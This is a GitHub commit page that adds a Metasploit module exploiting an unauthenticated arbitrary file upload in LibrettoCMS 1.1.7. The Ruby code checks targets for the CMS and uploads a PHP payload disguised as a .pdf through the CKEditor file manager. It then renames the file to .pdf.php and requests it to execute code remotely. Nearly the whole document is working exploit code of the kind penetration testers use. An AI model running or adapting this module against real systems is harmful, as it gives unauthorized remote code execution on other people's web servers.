Skip to content

Commit 2d99c46

Browse files
author
jvazquez-r7
committed
Land rapid7#1990, @wchen-r7's exploit for Libretto CMS
2 parents eec6534 + 079477c commit 2d99c46

File tree

1 file changed

+152
-0
lines changed

1 file changed

+152
-0
lines changed
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::PhpEXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
19+
'Description' => %q{
20+
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
21+
possibly prior. Attackers bypass the file extension check and abuse the upload
22+
feature in order to upload a malicious PHP file without authentication, which
23+
results in arbitary remote code execution.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'CWH',
29+
'sinn3r' #Metasploit
30+
],
31+
'References' =>
32+
[
33+
['OSVDB', '94391'],
34+
['EDB', '26213']
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00"
39+
},
40+
'Platform' => ['linux', 'php'],
41+
'Targets' =>
42+
[
43+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
44+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
45+
],
46+
'Privileged' => false,
47+
'DisclosureDate' => "Jun 14 2013",
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
53+
], self.class)
54+
end
55+
56+
57+
def peer
58+
"#{rhost}:#{rport}"
59+
end
60+
61+
62+
def check
63+
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
64+
if not res
65+
print_error("#{peer} - Connection timed out")
66+
return Exploit::CheckCode::Unknown
67+
end
68+
69+
if res.body =~ /Powered by <a href=".+">Libretto CMS/
70+
return Exploit::CheckCode::Detected
71+
end
72+
73+
Exploit::CheckCode::Safe
74+
end
75+
76+
77+
def upload(base)
78+
p = get_write_exec_payload(:unlink_self=>true)
79+
fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
80+
81+
data = Rex::MIME::Message.new
82+
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
83+
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
84+
data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
85+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
86+
87+
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
88+
89+
res = send_request_cgi({
90+
'method' => 'POST',
91+
'uri' => uri,
92+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
93+
'data' => post_data,
94+
'vars_get' => {'type'=>'all files'}
95+
})
96+
97+
if not res
98+
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
99+
elsif res.code.to_i != 200
100+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
101+
end
102+
103+
fname
104+
end
105+
106+
107+
def rename(base, original_fname)
108+
new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
109+
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
110+
res = send_request_cgi({
111+
'method' => 'POST',
112+
'uri' => uri,
113+
'vars_get' => { 'type' => 'all files' },
114+
'vars_post' => {
115+
'fun' => 'renameFile',
116+
'dir' => '',
117+
'filename' => original_fname,
118+
'newFilename' => new_name
119+
}
120+
})
121+
122+
if not res
123+
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
124+
elsif res.body !~ /"res":"OK"/
125+
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
126+
end
127+
128+
new_name
129+
end
130+
131+
132+
def exec(base, payload_fname)
133+
res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
134+
if res and res.code.to_i == 404
135+
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
136+
end
137+
end
138+
139+
140+
def exploit
141+
base = target_uri.path
142+
143+
print_status("#{peer} - Uploading malicious file...")
144+
orig_fname = upload(base)
145+
146+
print_status("#{peer} - Renaming #{orig_fname}...")
147+
new_fname = rename(base, orig_fname)
148+
149+
print_status("#{peer} - Executing #{new_fname}...")
150+
exec(base, new_fname)
151+
end
152+
end

0 commit comments

Comments
 (0)